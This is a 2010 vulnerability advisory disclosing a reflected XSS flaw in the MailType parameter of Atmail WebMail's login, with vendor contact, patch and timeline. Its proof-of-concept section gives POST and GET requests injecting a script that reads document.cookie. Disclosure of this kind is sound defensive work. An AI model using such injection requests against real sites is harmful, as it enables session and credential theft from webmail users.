[ISecAuditors Security Advisories] Reflected XSS in Atmail WebMail < v6.2.0

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INTERNET SECURITY AUDITORS ALERT 2010-009

• Original release date: August 30th, 2010
• Last revised: September 21st, 2010
• Discovered by: Vicente Aguilera Diaz
• Severity: 4.3/10 (CVSSv2 Base Scored)
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I. VULNERABILITY

Reflected XSS in the login process of the Atmail WebMail < v6.1.9

II. BACKGROUND

Atmail allows users to access IMAP Mailboxes of any server of your
choice. The software provides a comprehensive email-suite for
accessing user mailboxes, and provides an inbuilt Calendar and
Addressbook features. The WebMail Client of Atmail supports any
existing IMAP server running under Unix/Linux or Windows systems.

III. DESCRIPTION

Has been detected a reflected XSS vulnerability in the login process
of the Atmail WebMail, that allows the execution of arbitrary
HTML/script code to be executed in the context of the victim user's
browser.

The code injection is done through the "MailType" parameter, and can
be exploited without a user account in the WebMail.

Moreover, the login request may be made by the HTTP GET method (by
default, HTTP POST method is used), so this facilitates the
exploitation of the vulnerability.

IV. PROOF OF CONCEPT

=== Original request:
POST /index.php/mail/auth/processlogin HTTP/1.1
Host: <atmail_host>
…

emailName=<emailName>&emailDomain=<emailDomain>&cssStyle=original&email=<email>password=<password>&requestedServer=&MailType=IMAP

=== Malicious request - Example 1:
POST /index.php/mail/auth/processlogin HTTP/1.1
Host: <atmail_host>
…

emailName=<emailName>&emailDomain=<emailDomain>&cssStyle=original&email=<email>password=<password>&requestedServer=&MailType=<script>alert(document.cookie);</script>

=== Malicious request - Example 2:
GET
/index.php/mail/auth/processlogin?emailName=<emailName>&emailDomain=<emailDomain>&cssStyle=original&email=<email>password=<password>&requestedServer=&MailType=<script>alert(document.cookie);</script>
HTTP/1.1

V. BUSINESS IMPACT

An attacker can execute arbitrary HTML or script code in a targeted
user's browser, this can leverage to steal sensitive information as
user credentials, personal data, etc.

VI. SYSTEMS AFFECTED

Tested in Atmail 6.1.9. Other versions may be affected too.

VII. SOLUTION

Upgrade to version 6.2.0

VIII. REFERENCES

http://www.atmail.com
http://www.isecauditors.com

IX. CREDITS

This vulnerability has been discovered
by Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).

X. REVISION HISTORY

August 30, 2010: Initial release
September 21, 2010: Last revision

XI. DISCLOSURE TIMELINE

August 30, 2010: Discovered by Internet Security Auditors
August 31, 2010: Atmail contacted including PoC.
Response about the scheduled correction.
September 2, 2010: Published version 6.2.0 that includes this patch.
September 21, 2010: Advisory sent to public lists.

XII. LEGAL NOTICES

The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Internet Security Auditors accepts no responsibility for any damage
caused by the use or misuse of this information.

XIII. ABOUT

Internet Security Auditors is a Spain based leader in web application
testing, network security, penetration testing, security compliance
implementation and assessing. Our clients include some of the largest
companies in areas such as finance, telecommunications, insurance,
ITC, etc. We are vendor independent provider with a deep expertise
since 2001. Our efforts in R&D include vulnerability research, open
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